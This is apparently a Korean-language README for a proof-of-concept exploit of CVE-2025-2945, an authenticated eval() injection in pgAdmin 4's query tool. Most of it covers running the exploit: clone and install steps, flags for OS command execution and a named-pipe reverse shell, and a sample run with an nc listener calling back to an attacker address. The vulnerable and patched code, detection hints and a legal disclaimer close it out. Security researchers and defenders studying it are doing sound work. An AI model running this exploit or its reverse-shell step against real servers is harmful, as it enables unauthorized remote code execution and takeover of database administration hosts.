
# CVE-2025-2945 PoC — pgAdmin 4 인증된 eval() 주입 RCE, CVSS 9.9
CVSS 3.1: 9.9 (치명적) · 영향: pgAdmin 4 8.10 – 9.1 · 수정 버전: 9.2 (2025년 4월 4일) CWE-95 (동적으로 평가되는 코드의 지시문 부적절한 중립화 / Eval 주입)
CVE-2025-2945에 대한 개념 증명 익스플로잇으로, pgAdmin 4의 쿼리 도구에서 발생하는
인증된 원격 코드 실행 취약점입니다. 부울 트랜잭션 상태 플래그
(query_commited)가 부울로 파싱되지 않고 Python의 eval()에 직접 전달되어,
인증된 사용자가 pgAdmin 서비스 프로세스의 권한으로 임의의 Python 코드 —
나아가 임의의 OS 명령 — 을 실행할 수 있습니다. 동일한 안티패턴이
클라우드 배포 모듈의 Google 제공자(high_availability)에도 두 번째로 존재합니다.
근본 원인, 익스플로잇 로직, 탐지 지침 및 수정 방법을 다루는 전체 기술 문서는 여기에서 확인할 수 있습니다: khashayarnazarkardeh.com — Field Notes
취약한 코드 (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
(pgAdmin 9.2 이상):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
이 취약점을 악용하려면 인증된 pgAdmin 세션과 대상 계정에 이미 등록된 데이터베이스 서버에 바인딩된 쿼리 도구 트랜잭션이 필요합니다. 둘 다 실제 배포 환경에서 흔한 전제 조건이며, pgAdmin은 일반적으로 하나 이상의 저장된 서버 연결로 사전 구성되어 있습니다.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| 플래그 | 설명 |
|---|---|
--cmd COMMAND | os.system()을 통해 단일 OS 명령 실행 |
--reverse-shell HOST:PORT | 사용자가 제어하는 리스너로 명명된 파이프 리버스 셸 생성 |
--raw-payload EXPR | 취약한 eval() 싱크에 원시 Python 표현식을 직접 전달 |
# 공격 호스트에서 별도의 터미널로:
nc -lvnp 4444
# 익스플로잇 실행:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
방어자는 다음을 모니터링해야 합니다:
/sqleditor/query_tool/download/<trans_id> 또는
/cloud/deploy에 대한 POST 요청에서 query_commited / high_availability가
리터럴 "true", "false", "1" 또는 "0" 이외의 값인 경우.__import__, os.system, subprocess,
eval, exec, open().pgAdmin 4 9.2 이상으로 업그레이드하세요. 이 패치는 최소한의 저위험 부울 강제 변환 수정입니다. 즉각적인 패치가 불가능한 경우, pgAdmin에 대한 네트워크 접근을 신뢰할 수 있는 인증된 네트워크로 제한하고, 필요하지 않은 계정에 대해서는 클라우드 배포 모듈을 비활성화하세요.
Khashayar Nazarkardeh — 사이버보안 및 AI 보안 리더 khashayarnazarkardeh.com · @Khashayarnzk
이 도구는 공인된 보안 테스트, 연구 및 교육 목적으로만 제공됩니다. 시스템 소유자의 명시적이고 문서화된 승인 없이 이 도구를 어떤 시스템에 실행하는 것은 대부분의 관할권에서 불법입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 이 스크립트를 사용함으로써 귀하는 대상 테스트 권한이 있음을 확인할 책임이 전적으로 귀하에게 있음을 동의하는 것입니다.